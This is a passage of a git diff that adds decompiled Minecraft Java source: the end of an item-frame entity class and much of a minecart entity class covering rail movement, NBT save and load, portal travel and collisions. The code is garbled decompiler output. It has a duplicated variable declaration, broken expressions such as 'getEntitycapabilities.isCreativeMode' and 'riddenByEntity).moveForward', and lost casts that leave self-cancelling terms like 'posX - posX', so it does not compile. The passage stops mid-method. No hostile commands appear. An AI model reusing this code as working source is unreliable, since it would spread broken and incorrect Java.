+        {
+          removeFrameFromMap(var3);
+          return;
+        }
+      }
+      
+      if (p_146065_2_)
+      {
+        entityDropItem(new ItemStack(Items.item_frame), 0.0F);
+      }
+      
+      if ((var3 != null) && (rand.nextFloat() < itemDropChance))
+      {
+        var3 = var3.copy();
+        removeFrameFromMap(var3);
+        entityDropItem(var3, 0.0F);
+      }
+    }
+  }
+  
+
+
+
+  private void removeFrameFromMap(ItemStack p_110131_1_)
+  {
+    if (p_110131_1_ != null)
+    {
+      if (p_110131_1_.getItem() == Items.filled_map)
+      {
+        MapData var2 = ((ItemMap)p_110131_1_.getItem()).getMapData(p_110131_1_, worldObj);
+        playersVisibleOnMap.remove("frame-" + getEntityId());
+      }
+      
+      p_110131_1_.setItemFrame(null);
+    }
+  }
+  
+  public ItemStack getDisplayedItem()
+  {
+    return getDataWatcher().getWatchableObjectItemStack(8);
+  }
+  
+  public void setDisplayedItem(ItemStack p_82334_1_)
+  {
+    func_174864_a(p_82334_1_, true);
+  }
+  
+  private void func_174864_a(ItemStack p_174864_1_, boolean p_174864_2_)
+  {
+    if (p_174864_1_ != null)
+    {
+      p_174864_1_ = p_174864_1_.copy();
+      stackSize = 1;
+      p_174864_1_.setItemFrame(this);
+    }
+    
+    getDataWatcher().updateObject(8, p_174864_1_);
+    getDataWatcher().setObjectWatched(8);
+    
+    if ((p_174864_2_) && (field_174861_a != null))
+    {
+      worldObj.updateComparatorOutputLevel(field_174861_a, net.minecraft.init.Blocks.air);
+    }
+  }
+  
+
+
+
+  public int getRotation()
+  {
+    return getDataWatcher().getWatchableObjectByte(9);
+  }
+  
+  public void setItemRotation(int p_82336_1_)
+  {
+    func_174865_a(p_82336_1_, true);
+  }
+  
+  private void func_174865_a(int p_174865_1_, boolean p_174865_2_)
+  {
+    getDataWatcher().updateObject(9, Byte.valueOf((byte)(p_174865_1_ % 8)));
+    
+    if ((p_174865_2_) && (field_174861_a != null))
+    {
+      worldObj.updateComparatorOutputLevel(field_174861_a, net.minecraft.init.Blocks.air);
+    }
+  }
+  
+
+
+
+  public void writeEntityToNBT(NBTTagCompound tagCompound)
+  {
+    if (getDisplayedItem() != null)
+    {
+      tagCompound.setTag("Item", getDisplayedItem().writeToNBT(new NBTTagCompound()));
+      tagCompound.setByte("ItemRotation", (byte)getRotation());
+      tagCompound.setFloat("ItemDropChance", itemDropChance);
+    }
+    
+    super.writeEntityToNBT(tagCompound);
+  }
+  
+
+
+
+  public void readEntityFromNBT(NBTTagCompound tagCompund)
+  {
+    NBTTagCompound var2 = tagCompund.getCompoundTag("Item");
+    
+    if ((var2 != null) && (!var2.hasNoTags()))
+    {
+      func_174864_a(ItemStack.loadItemStackFromNBT(var2), false);
+      func_174865_a(tagCompund.getByte("ItemRotation"), false);
+      
+      if (tagCompund.hasKey("ItemDropChance", 99))
+      {
+        itemDropChance = tagCompund.getFloat("ItemDropChance");
+      }
+      
+      if (tagCompund.hasKey("Direction"))
+      {
+        func_174865_a(getRotation() * 2, false);
+      }
+    }
+    
+    super.readEntityFromNBT(tagCompund);
+  }
+  
+
+
+
+  public boolean interactFirst(EntityPlayer playerIn)
+  {
+    if (getDisplayedItem() == null)
+    {
+      ItemStack var2 = playerIn.getHeldItem();
+      
+      if ((var2 != null) && (!worldObj.isRemote))
+      {
+        setDisplayedItem(var2);
+        
+        if (!capabilities.isCreativeMode) if (--stackSize <= 0)
+          {
+            inventory.setInventorySlotContents(inventory.currentItem, null);
+          }
+      }
+    }
+    else if (!worldObj.isRemote)
+    {
+      setItemRotation(getRotation() + 1);
+    }
+    
+    return true;
+  }
+  
+  public int func_174866_q()
+  {
+    return getDisplayedItem() == null ? 0 : getRotation() % 8 + 1;
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/item/EntityMinecart.java b/src/minecraft/net/minecraft/entity/item/EntityMinecart.java
new file mode 100644
index 0000000..4437436
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/item/EntityMinecart.java
@@ -0,0 +1,1317 @@
+package net.minecraft.entity.item;
+
+import com.google.common.collect.Maps;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import java.util.UUID;
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockRailBase;
+import net.minecraft.block.BlockRailBase.EnumRailDirection;
+import net.minecraft.block.BlockRailPowered;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.DataWatcher;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.init.Blocks;
+import net.minecraft.item.ItemStack;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.profiler.Profiler;
+import net.minecraft.server.MinecraftServer;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.ChatComponentText;
+import net.minecraft.util.ChatComponentTranslation;
+import net.minecraft.util.ChatStyle;
+import net.minecraft.util.DamageSource;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.RegistryNamespacedDefaultedByKey;
+import net.minecraft.util.ResourceLocation;
+import net.minecraft.util.Vec3;
+import net.minecraft.world.World;
+import net.minecraft.world.WorldProvider;
+import net.minecraft.world.WorldServer;
+
+public abstract class EntityMinecart extends Entity implements net.minecraft.world.IWorldNameable
+{
+  private boolean isInReverse;
+  private String entityName;
+  private static final int[][][] matrix = { { { 0, 0, -1 }, { 0, 0, 1 } }, { { -1 }, { 1 } }, { { -1, -1 }, { 1 } }, { { -1 }, { 1, -1 } }, { { 0, 0, -1 }, { 0, -1, 1 } }, { { 0, -1, -1 }, { 0, 0, 1 } }, { { 0, 0, 1 }, { 1 } }, { { 0, 0, 1 }, { -1 } }, { { 0, 0, -1 }, { -1 } }, { { 0, 0, -1 }, { 1 } } };
+  
+  private int turnProgress;
+  
+  private double minecartX;
+  private double minecartY;
+  private double minecartZ;
+  private double minecartYaw;
+  private double minecartPitch;
+  private double velocityX;
+  private double velocityY;
+  private double velocityZ;
+  private static final String __OBFID = "CL_00001670";
+  
+  public EntityMinecart(World worldIn)
+  {
+    super(worldIn);
+    preventEntitySpawning = true;
+    setSize(0.98F, 0.7F);
+  }
+  
+  public static EntityMinecart func_180458_a(World worldIn, double p_180458_1_, double p_180458_3_, double p_180458_5_, EnumMinecartType p_180458_7_)
+  {
+    switch (SwitchEnumMinecartType.field_180037_a[p_180458_7_.ordinal()])
+    {
+    case 1: 
+      return new EntityMinecartChest(worldIn, p_180458_1_, p_180458_3_, p_180458_5_);
+    
+    case 2: 
+      return new EntityMinecartFurnace(worldIn, p_180458_1_, p_180458_3_, p_180458_5_);
+    
+    case 3: 
+      return new EntityMinecartTNT(worldIn, p_180458_1_, p_180458_3_, p_180458_5_);
+    
+    case 4: 
+      return new net.minecraft.entity.ai.EntityMinecartMobSpawner(worldIn, p_180458_1_, p_180458_3_, p_180458_5_);
+    
+    case 5: 
+      return new EntityMinecartHopper(worldIn, p_180458_1_, p_180458_3_, p_180458_5_);
+    
+    case 6: 
+      return new net.minecraft.entity.EntityMinecartCommandBlock(worldIn, p_180458_1_, p_180458_3_, p_180458_5_);
+    }
+    
+    return new EntityMinecartEmpty(worldIn, p_180458_1_, p_180458_3_, p_180458_5_);
+  }
+  
+
+
+
+
+
+  protected boolean canTriggerWalking()
+  {
+    return false;
+  }
+  
+  protected void entityInit()
+  {
+    dataWatcher.addObject(17, new Integer(0));
+    dataWatcher.addObject(18, new Integer(1));
+    dataWatcher.addObject(19, new Float(0.0F));
+    dataWatcher.addObject(20, new Integer(0));
+    dataWatcher.addObject(21, new Integer(6));
+    dataWatcher.addObject(22, Byte.valueOf((byte)0));
+  }
+  
+
+
+
+
+  public AxisAlignedBB getCollisionBox(Entity entityIn)
+  {
+    return entityIn.canBePushed() ? entityIn.getEntityBoundingBox() : null;
+  }
+  
+
+
+
+  public AxisAlignedBB getBoundingBox()
+  {
+    return null;
+  }
+  
+
+
+
+  public boolean canBePushed()
+  {
+    return true;
+  }
+  
+  public EntityMinecart(World worldIn, double p_i1713_2_, double p_i1713_4_, double p_i1713_6_)
+  {
+    this(worldIn);
+    setPosition(p_i1713_2_, p_i1713_4_, p_i1713_6_);
+    motionX = 0.0D;
+    motionY = 0.0D;
+    motionZ = 0.0D;
+    prevPosX = p_i1713_2_;
+    prevPosY = p_i1713_4_;
+    prevPosZ = p_i1713_6_;
+  }
+  
+
+
+
+  public double getMountedYOffset()
+  {
+    return height * 0.5D - 0.20000000298023224D;
+  }
+  
+
+
+
+  public boolean attackEntityFrom(DamageSource source, float amount)
+  {
+    if ((!worldObj.isRemote) && (!isDead))
+    {
+      if (func_180431_b(source))
+      {
+        return false;
+      }
+      
+
+      setRollingDirection(-getRollingDirection());
+      setRollingAmplitude(10);
+      setBeenAttacked();
+      setDamage(getDamage() + amount * 10.0F);
+      boolean var3 = ((source.getEntity() instanceof EntityPlayer)) && (getEntitycapabilities.isCreativeMode);
+      
+      if ((var3) || (getDamage() > 40.0F))
+      {
+        if (riddenByEntity != null)
+        {
+          riddenByEntity.mountEntity(null);
+        }
+        
+        if ((var3) && (!hasCustomName()))
+        {
+          setDead();
+        }
+        else
+        {
+          killMinecart(source);
+        }
+      }
+      
+      return true;
+    }
+    
+
+
+    return true;
+  }
+  
+
+  public void killMinecart(DamageSource p_94095_1_)
+  {
+    setDead();
+    ItemStack var2 = new ItemStack(net.minecraft.init.Items.minecart, 1);
+    
+    if (entityName != null)
+    {
+      var2.setStackDisplayName(entityName);
+    }
+    
+    entityDropItem(var2, 0.0F);
+  }
+  
+
+
+
+  public void performHurtAnimation()
+  {
+    setRollingDirection(-getRollingDirection());
+    setRollingAmplitude(10);
+    setDamage(getDamage() + getDamage() * 10.0F);
+  }
+  
+
+
+
+  public boolean canBeCollidedWith()
+  {
+    return !isDead;
+  }
+  
+
+
+
+  public void setDead()
+  {
+    super.setDead();
+  }
+  
+
+
+
+  public void onUpdate()
+  {
+    if (getRollingAmplitude() > 0)
+    {
+      setRollingAmplitude(getRollingAmplitude() - 1);
+    }
+    
+    if (getDamage() > 0.0F)
+    {
+      setDamage(getDamage() - 1.0F);
+    }
+    
+    if (posY < -64.0D)
+    {
+      kill();
+    }
+    
+
+
+    if ((!worldObj.isRemote) && ((worldObj instanceof WorldServer)))
+    {
+      worldObj.theProfiler.startSection("portal");
+      MinecraftServer var1 = ((WorldServer)worldObj).func_73046_m();
+      int var2 = getMaxInPortalTime();
+      
+      if (inPortal)
+      {
+        if (var1.getAllowNether())
+        {
+          if ((ridingEntity == null) && (portalCounter++ >= var2))
+          {
+            portalCounter = var2;
+            timeUntilPortal = getPortalCooldown();
+            byte var3;
+            byte var3;
+            if (worldObj.provider.getDimensionId() == -1)
+            {
+              var3 = 0;
+            }
+            else
+            {
+              var3 = -1;
+            }
+            
+            travelToDimension(var3);
+          }
+          
+          inPortal = false;
+        }
+      }
+      else
+      {
+        if (portalCounter > 0)
+        {
+          portalCounter -= 4;
+        }
+        
+        if (portalCounter < 0)
+        {
+          portalCounter = 0;
+        }
+      }
+      
+      if (timeUntilPortal > 0)
+      {
+        timeUntilPortal -= 1;
+      }
+      
+      worldObj.theProfiler.endSection();
+    }
+    
+    if (worldObj.isRemote)
+    {
+      if (turnProgress > 0)
+      {
+        double var15 = posX + (minecartX - posX) / turnProgress;
+        double var17 = posY + (minecartY - posY) / turnProgress;
+        double var18 = posZ + (minecartZ - posZ) / turnProgress;
+        double var7 = MathHelper.wrapAngleTo180_double(minecartYaw - rotationYaw);
+        rotationYaw = ((float)(rotationYaw + var7 / turnProgress));
+        rotationPitch = ((float)(rotationPitch + (minecartPitch - rotationPitch) / turnProgress));
+        turnProgress -= 1;
+        setPosition(var15, var17, var18);
+        setRotation(rotationYaw, rotationPitch);
+      }
+      else
+      {
+        setPosition(posX, posY, posZ);
+        setRotation(rotationYaw, rotationPitch);
+      }
+    }
+    else
+    {
+      prevPosX = posX;
+      prevPosY = posY;
+      prevPosZ = posZ;
+      motionY -= 0.03999999910593033D;
+      int var14 = MathHelper.floor_double(posX);
+      int var2 = MathHelper.floor_double(posY);
+      int var16 = MathHelper.floor_double(posZ);
+      
+      if (BlockRailBase.func_176562_d(worldObj, new BlockPos(var14, var2 - 1, var16)))
+      {
+        var2--;
+      }
+      
+      BlockPos var4 = new BlockPos(var14, var2, var16);
+      IBlockState var5 = worldObj.getBlockState(var4);
+      
+      if (BlockRailBase.func_176563_d(var5))
+      {
+        func_180460_a(var4, var5);
+        
+        if (var5.getBlock() == Blocks.activator_rail)
+        {
+          onActivatorRailPass(var14, var2, var16, ((Boolean)var5.getValue(BlockRailPowered.field_176569_M)).booleanValue());
+        }
+      }
+      else
+      {
+        func_180459_n();
+      }
+      
+      doBlockCollisions();
+      rotationPitch = 0.0F;
+      double var6 = prevPosX - posX;
+      double var8 = prevPosZ - posZ;
+      
+      if (var6 * var6 + var8 * var8 > 0.001D)
+      {
+        rotationYaw = ((float)(Math.atan2(var8, var6) * 180.0D / 3.141592653589793D));
+        
+        if (isInReverse)
+        {
+          rotationYaw += 180.0F;
+        }
+      }
+      
+      double var10 = MathHelper.wrapAngleTo180_float(rotationYaw - prevRotationYaw);
+      
+      if ((var10 < -170.0D) || (var10 >= 170.0D))
+      {
+        rotationYaw += 180.0F;
+        isInReverse = (!isInReverse);
+      }
+      
+      setRotation(rotationYaw, rotationPitch);
+      Iterator var12 = worldObj.getEntitiesWithinAABBExcludingEntity(this, getEntityBoundingBox().expand(0.20000000298023224D, 0.0D, 0.20000000298023224D)).iterator();
+      
+      while (var12.hasNext())
+      {
+        Entity var13 = (Entity)var12.next();
+        
+        if ((var13 != riddenByEntity) && (var13.canBePushed()) && ((var13 instanceof EntityMinecart)))
+        {
+          var13.applyEntityCollision(this);
+        }
+      }
+      
+      if ((riddenByEntity != null) && (riddenByEntity.isDead))
+      {
+        if (riddenByEntity.ridingEntity == this)
+        {
+          riddenByEntity.ridingEntity = null;
+        }
+        
+        riddenByEntity = null;
+      }
+      
+      handleWaterMovement();
+    }
+  }
+  
+  protected double func_174898_m()
+  {
+    return 0.4D;
+  }
+  
+
+
+  public void onActivatorRailPass(int p_96095_1_, int p_96095_2_, int p_96095_3_, boolean p_96095_4_) {}
+  
+
+  protected void func_180459_n()
+  {
+    double var1 = func_174898_m();
+    motionX = MathHelper.clamp_double(motionX, -var1, var1);
+    motionZ = MathHelper.clamp_double(motionZ, -var1, var1);
+    
+    if (onGround)
+    {
+      motionX *= 0.5D;
+      motionY *= 0.5D;
+      motionZ *= 0.5D;
+    }
+    
+    moveEntity(motionX, motionY, motionZ);
+    
+    if (!onGround)
+    {
+      motionX *= 0.949999988079071D;
+      motionY *= 0.949999988079071D;
+      motionZ *= 0.949999988079071D;
+    }
+  }
+  
+  protected void func_180460_a(BlockPos p_180460_1_, IBlockState p_180460_2_)
+  {
+    fallDistance = 0.0F;
+    Vec3 var3 = func_70489_a(posX, posY, posZ);
+    posY = p_180460_1_.getY();
+    boolean var4 = false;
+    boolean var5 = false;
+    BlockRailBase var6 = (BlockRailBase)p_180460_2_.getBlock();
+    
+    if (var6 == Blocks.golden_rail)
+    {
+      var4 = ((Boolean)p_180460_2_.getValue(BlockRailPowered.field_176569_M)).booleanValue();
+      var5 = !var4;
+    }
+    
+    double var7 = 0.0078125D;
+    BlockRailBase.EnumRailDirection var9 = (BlockRailBase.EnumRailDirection)p_180460_2_.getValue(var6.func_176560_l());
+    
+    switch (SwitchEnumMinecartType.field_180036_b[var9.ordinal()])
+    {
+    case 1: 
+      motionX -= 0.0078125D;
+      posY += 1.0D;
+      break;
+    
+    case 2: 
+      motionX += 0.0078125D;
+      posY += 1.0D;
+      break;
+    
+    case 3: 
+      motionZ += 0.0078125D;
+      posY += 1.0D;
+      break;
+    
+    case 4: 
+      motionZ -= 0.0078125D;
+      posY += 1.0D;
+    }
+    
+    int[][] var10 = matrix[var9.func_177015_a()];
+    double var11 = var10[1][0] - var10[0][0];
+    double var13 = var10[1][2] - var10[0][2];
+    double var15 = Math.sqrt(var11 * var11 + var13 * var13);
+    double var17 = motionX * var11 + motionZ * var13;
+    
+    if (var17 < 0.0D)
+    {
+      var11 = -var11;
+      var13 = -var13;
+    }
+    
+    double var19 = Math.sqrt(motionX * motionX + motionZ * motionZ);
+    
+    if (var19 > 2.0D)
+    {
+      var19 = 2.0D;
+    }
+    
+    motionX = (var19 * var11 / var15);
+    motionZ = (var19 * var13 / var15);
+    
+
+
+
+
+    if ((riddenByEntity instanceof EntityLivingBase))
+    {
+      double var21 = riddenByEntity).moveForward;
+      
+      if (var21 > 0.0D)
+      {
+        double var23 = -Math.sin(riddenByEntity.rotationYaw * 3.1415927F / 180.0F);
+        double var25 = Math.cos(riddenByEntity.rotationYaw * 3.1415927F / 180.0F);
+        double var27 = motionX * motionX + motionZ * motionZ;
+        
+        if (var27 < 0.01D)
+        {
+          motionX += var23 * 0.1D;
+          motionZ += var25 * 0.1D;
+          var5 = false;
+        }
+      }
+    }
+    
+    if (var5)
+    {
+      double var21 = Math.sqrt(motionX * motionX + motionZ * motionZ);
+      
+      if (var21 < 0.03D)
+      {
+        motionX *= 0.0D;
+        motionY *= 0.0D;
+        motionZ *= 0.0D;
+      }
+      else
+      {
+        motionX *= 0.5D;
+        motionY *= 0.0D;
+        motionZ *= 0.5D;
+      }
+    }
+    
+    double var21 = 0.0D;
+    double var23 = p_180460_1_.getX() + 0.5D + var10[0][0] * 0.5D;
+    double var25 = p_180460_1_.getZ() + 0.5D + var10[0][2] * 0.5D;
+    double var27 = p_180460_1_.getX() + 0.5D + var10[1][0] * 0.5D;
+    double var29 = p_180460_1_.getZ() + 0.5D + var10[1][2] * 0.5D;
+    var11 = var27 - var23;
+    var13 = var29 - var25;
+    
+
+
+    if (var11 == 0.0D)
+    {
+      posX = (p_180460_1_.getX() + 0.5D);
+      var21 = posZ - p_180460_1_.getZ();
+    }
+    else if (var13 == 0.0D)
+    {
+      posZ = (p_180460_1_.getZ() + 0.5D);
+      var21 = posX - p_180460_1_.getX();
+    }
+    else
+    {
+      double var31 = posX - var23;
+      double var33 = posZ - var25;
+      var21 = (var31 * var11 + var33 * var13) * 2.0D;
+    }
+    
+    posX = (var23 + var11 * var21);
+    posZ = (var25 + var13 * var21);
+    setPosition(posX, posY, posZ);
+    double var31 = motionX;
+    double var33 = motionZ;
+    
+    if (riddenByEntity != null)
+    {
+      var31 *= 0.75D;
+      var33 *= 0.75D;
+    }
+    
+    double var35 = func_174898_m();
+    var31 = MathHelper.clamp_double(var31, -var35, var35);
+    var33 = MathHelper.clamp_double(var33, -var35, var35);
+    moveEntity(var31, 0.0D, var33);
+    
+    if ((var10[0][1] != 0) && (MathHelper.floor_double(posX) - p_180460_1_.getX() == var10[0][0]) && (MathHelper.floor_double(posZ) - p_180460_1_.getZ() == var10[0][2]))
+    {
+      setPosition(posX, posY + var10[0][1], posZ);
+    }
+    else if ((var10[1][1] != 0) && (MathHelper.floor_double(posX) - p_180460_1_.getX() == var10[1][0]) && (MathHelper.floor_double(posZ) - p_180460_1_.getZ() == var10[1][2]))
+    {
+      setPosition(posX, posY + var10[1][1], posZ);
+    }
+    
+    applyDrag();
+    Vec3 var37 = func_70489_a(posX, posY, posZ);
+    
+    if ((var37 != null) && (var3 != null))
+    {
+      double var38 = (yCoord - yCoord) * 0.05D;
+      var19 = Math.sqrt(motionX * motionX + motionZ * motionZ);
+      
+      if (var19 > 0.0D)
+      {
+        motionX = (motionX / var19 * (var19 + var38));
+        motionZ = (motionZ / var19 * (var19 + var38));
+      }
+      
+      setPosition(posX, yCoord, posZ);
+    }
+    
+    int var44 = MathHelper.floor_double(posX);
+    int var39 = MathHelper.floor_double(posZ);
+    
+    if ((var44 != p_180460_1_.getX()) || (var39 != p_180460_1_.getZ()))
+    {
+      var19 = Math.sqrt(motionX * motionX + motionZ * motionZ);
+      motionX = (var19 * (var44 - p_180460_1_.getX()));
+      motionZ = (var19 * (var39 - p_180460_1_.getZ()));
+    }
+    
+    if (var4)
+    {
+      double var40 = Math.sqrt(motionX * motionX + motionZ * motionZ);
+      
+      if (var40 > 0.01D)
+      {
+        double var42 = 0.06D;
+        motionX += motionX / var40 * var42;
+        motionZ += motionZ / var40 * var42;
+      }
+      else if (var9 == BlockRailBase.EnumRailDirection.EAST_WEST)
+      {
+        if (worldObj.getBlockState(p_180460_1_.offsetWest()).getBlock().isNormalCube())
+        {
+          motionX = 0.02D;
+        }
+        else if (worldObj.getBlockState(p_180460_1_.offsetEast()).getBlock().isNormalCube())
+        {
+          motionX = -0.02D;
+        }
+      }
+      else if (var9 == BlockRailBase.EnumRailDirection.NORTH_SOUTH)
+      {
+        if (worldObj.getBlockState(p_180460_1_.offsetNorth()).getBlock().isNormalCube())
+        {
+          motionZ = 0.02D;
+        }
+        else if (worldObj.getBlockState(p_180460_1_.offsetSouth()).getBlock().isNormalCube())
+        {
+          motionZ = -0.02D;
+        }
+      }
+    }
+  }
+  
+  protected void applyDrag()
+  {
+    if (riddenByEntity != null)
+    {
+      motionX *= 0.996999979019165D;
+      motionY *= 0.0D;
+      motionZ *= 0.996999979019165D;
+    }
+    else
+    {
+      motionX *= 0.9599999785423279D;
+      motionY *= 0.0D;
+      motionZ *= 0.9599999785423279D;
+    }
+  }
+  
+
+
+
+  public void setPosition(double x, double y, double z)
+  {
+    posX = x;
+    posY = y;
+    posZ = z;
+    float var7 = width / 2.0F;
+    float var8 = height;
+    func_174826_a(new AxisAlignedBB(x - var7, y, z - var7, x + var7, y + var8, z + var7));
+  }
+  
+  public Vec3 func_70495_a(double p_70495_1_, double p_70495_3_, double p_70495_5_, double p_70495_7_)
+  {
+    int var9 = MathHelper.floor_double(p_70495_1_);
+    int var10 = MathHelper.floor_double(p_70495_3_);
+    int var11 = MathHelper.floor_double(p_70495_5_);
+    
+    if (BlockRailBase.func_176562_d(worldObj, new BlockPos(var9, var10 - 1, var11)))
+    {
+      var10--;
+    }
+    
+    IBlockState var12 = worldObj.getBlockState(new BlockPos(var9, var10, var11));
+    
+    if (BlockRailBase.func_176563_d(var12))
+    {
+      BlockRailBase.EnumRailDirection var13 = (BlockRailBase.EnumRailDirection)var12.getValue(((BlockRailBase)var12.getBlock()).func_176560_l());
+      p_70495_3_ = var10;
+      
+      if (var13.func_177018_c())
+      {
+        p_70495_3_ = var10 + 1;
+      }
+      
+      int[][] var14 = matrix[var13.func_177015_a()];
+      double var15 = var14[1][0] - var14[0][0];
+      double var17 = var14[1][2] - var14[0][2];
+      double var19 = Math.sqrt(var15 * var15 + var17 * var17);
+      var15 /= var19;
+      var17 /= var19;
+      p_70495_1_ += var15 * p_70495_7_;
+      p_70495_5_ += var17 * p_70495_7_;
+      
+      if ((var14[0][1] != 0) && (MathHelper.floor_double(p_70495_1_) - var9 == var14[0][0]) && (MathHelper.floor_double(p_70495_5_) - var11 == var14[0][2]))
+      {
+        p_70495_3_ += var14[0][1];
+      }
+      else if ((var14[1][1] != 0) && (MathHelper.floor_double(p_70495_1_) - var9 == var14[1][0]) && (MathHelper.floor_double(p_70495_5_) - var11 == var14[1][2]))
+      {
+        p_70495_3_ += var14[1][1];
+      }
+      
+      return func_70489_a(p_70495_1_, p_70495_3_, p_70495_5_);
+    }
+    
+
+    return null;
+  }
+  
+
+  public Vec3 func_70489_a(double p_70489_1_, double p_70489_3_, double p_70489_5_)
+  {
+    int var7 = MathHelper.floor_double(p_70489_1_);
+    int var8 = MathHelper.floor_double(p_70489_3_);
+    int var9 = MathHelper.floor_double(p_70489_5_);
+    
+    if (BlockRailBase.func_176562_d(worldObj, new BlockPos(var7, var8 - 1, var9)))
+    {
+      var8--;
+    }
+    
+    IBlockState var10 = worldObj.getBlockState(new BlockPos(var7, var8, var9));
+    
+    if (BlockRailBase.func_176563_d(var10))
+    {
+      BlockRailBase.EnumRailDirection var11 = (BlockRailBase.EnumRailDirection)var10.getValue(((BlockRailBase)var10.getBlock()).func_176560_l());
+      int[][] var12 = matrix[var11.func_177015_a()];
+      double var13 = 0.0D;
+      double var15 = var7 + 0.5D + var12[0][0] * 0.5D;
+      double var17 = var8 + 0.0625D + var12[0][1] * 0.5D;
+      double var19 = var9 + 0.5D + var12[0][2] * 0.5D;
+      double var21 = var7 + 0.5D + var12[1][0] * 0.5D;
+      double var23 = var8 + 0.0625D + var12[1][1] * 0.5D;
+      double var25 = var9 + 0.5D + var12[1][2] * 0.5D;
+      double var27 = var21 - var15;
+      double var29 = (var23 - var17) * 2.0D;
+      double var31 = var25 - var19;
+      
+      if (var27 == 0.0D)
+      {
+        p_70489_1_ = var7 + 0.5D;
+        var13 = p_70489_5_ - var9;
+      }
+      else if (var31 == 0.0D)
+      {
+        p_70489_5_ = var9 + 0.5D;
+        var13 = p_70489_1_ - var7;
+      }
+      else
+      {
+        double var33 = p_70489_1_ - var15;
+        double var35 = p_70489_5_ - var19;
+        var13 = (var33 * var27 + var35 * var31) * 2.0D;
+      }
+      
+      p_70489_1_ = var15 + var27 * var13;
+      p_70489_3_ = var17 + var29 * var13;
+      p_70489_5_ = var19 + var31 * var13;
+      
+      if (var29 < 0.0D)
+      {
+        p_70489_3_ += 1.0D;
+      }
+      
+      if (var29 > 0.0D)
+      {
+        p_70489_3_ += 0.5D;
+      }
+      
+      return new Vec3(p_70489_1_, p_70489_3_, p_70489_5_);
+    }
+    
+
+    return null;
+  }
+  
+
+
+
+
+  protected void readEntityFromNBT(NBTTagCompound tagCompund)
+  {
+    if (tagCompund.getBoolean("CustomDisplayTile"))
+    {
+      int var2 = tagCompund.getInteger("DisplayData");
+      
+
+      if (tagCompund.hasKey("DisplayTile", 8))
+      {
+        Block var3 = Block.getBlockFromName(tagCompund.getString("DisplayTile"));
+        
+        if (var3 == null)
+        {
+          func_174899_a(Blocks.air.getDefaultState());
+        }
+        else
+        {
+          func_174899_a(var3.getStateFromMeta(var2));
+        }
+      }
+      else
+      {
+        Block var3 = Block.getBlockById(tagCompund.getInteger("DisplayTile"));
+        
+        if (var3 == null)
+        {
+          func_174899_a(Blocks.air.getDefaultState());
+        }
+        else
+        {
+          func_174899_a(var3.getStateFromMeta(var2));
+        }
+      }
+      
+      setDisplayTileOffset(tagCompund.getInteger("DisplayOffset"));
+    }
+    
+    if ((tagCompund.hasKey("CustomName", 8)) && (tagCompund.getString("CustomName").length() > 0))
+    {
+      entityName = tagCompund.getString("CustomName");
+    }
+  }
+  
+
+
+
+  protected void writeEntityToNBT(NBTTagCompound tagCompound)
+  {
+    if (hasDisplayTile())
+    {
+      tagCompound.setBoolean("CustomDisplayTile", true);
+      IBlockState var2 = func_174897_t();
+      ResourceLocation var3 = (ResourceLocation)Block.blockRegistry.getNameForObject(var2.getBlock());
+      tagCompound.setString("DisplayTile", var3 == null ? "" : var3.toString());
+      tagCompound.setInteger("DisplayData", var2.getBlock().getMetaFromState(var2));
+      tagCompound.setInteger("DisplayOffset", getDisplayTileOffset());
+    }
+    
+    if ((entityName != null) && (entityName.length() > 0))
+    {
+      tagCompound.setString("CustomName", entityName);
+    }
+  }
+  
+
+
+
+  public void applyEntityCollision(Entity entityIn)
+  {
+    if (!worldObj.isRemote)
+    {
+      if ((!noClip) && (!noClip))
+      {
+        if (entityIn != riddenByEntity)
+        {
+          if (((entityIn instanceof EntityLivingBase)) && (!(entityIn instanceof EntityPlayer)) && (!(entityIn instanceof net.minecraft.entity.monster.EntityIronGolem)) && (func_180456_s() == EnumMinecartType.RIDEABLE) && (motionX * motionX + motionZ * motionZ > 0.01D) && (riddenByEntity == null) && (ridingEntity == null))
+          {
+            entityIn.mountEntity(this);
+          }
+          
+          double var2 = posX - posX;
+          double var4 = posZ - posZ;
+          double var6 = var2 * var2 + var4 * var4;
+          
+          if (var6 >= 9.999999747378752E-5D)
+          {
+            var6 = MathHelper.sqrt_double(var6);
+            var2 /= var6;
+            var4 /= var6;
+            double var8 = 1.0D / var6;
+            
+            if (var8 > 1.0D)
+            {
+              var8 = 1.0D;
+            }
+            
+            var2 *= var8;
+            var4 *= var8;
+            var2 *= 0.10000000149011612D;
+            var4 *= 0.10000000149011612D;
+            var2 *= (1.0F - entityCollisionReduction);
+            var4 *= (1.0F - entityCollisionReduction);
+            var2 *= 0.5D;
+            var4 *= 0.5D;
+            
+            if ((entityIn instanceof EntityMinecart))
+            {
+              double var10 = posX - posX;
+              double var12 = posZ - posZ;
+              Vec3 var14 = new Vec3(var10, 0.0D, var12).normalize();
+              Vec3 var15 = new Vec3(MathHelper.cos(rotationYaw * 3.1415927F / 180.0F), 0.0D, MathHelper.sin(rotationYaw * 3.1415927F / 180.0F)).normalize();
+              double var16 = Math.abs(var14.dotProduct(var15));
+              
+              if (var16 < 0.800000011920929D)
+              {
+                return;
+              }
+              
+              double var18 = motionX + motionX;
+              double var20 = motionZ + motionZ;
+              
+              if ((((EntityMinecart)entityIn).func_180456_s() == EnumMinecartType.FURNACE) && (func_180456_s() != EnumMinecartType.FURNACE))
+              {
+                motionX *= 0.20000000298023224D;
+                motionZ *= 0.20000000298023224D;
+                addVelocity(motionX - var2, 0.0D, motionZ - var4);
+                motionX *= 0.949999988079071D;
+                motionZ *= 0.949999988079071D;
+              }
+              else if ((((EntityMinecart)entityIn).func_180456_s() != EnumMinecartType.FURNACE) && (func_180456_s() == EnumMinecartType.FURNACE))
+              {
+                motionX *= 0.20000000298023224D;
+                motionZ *= 0.20000000298023224D;
+                entityIn.addVelocity(motionX + var2, 0.0D, motionZ + var4);
+                motionX *= 0.949999988079071D;
+                motionZ *= 0.949999988079071D;
+              }
+              else
+              {
+                var18 /= 2.0D;
+                var20 /= 2.0D;
+                motionX *= 0.20000000298023224D;
+                motionZ *= 0.20000000298023224D;
+                addVelocity(var18 - var2, 0.0D, var20 - var4);
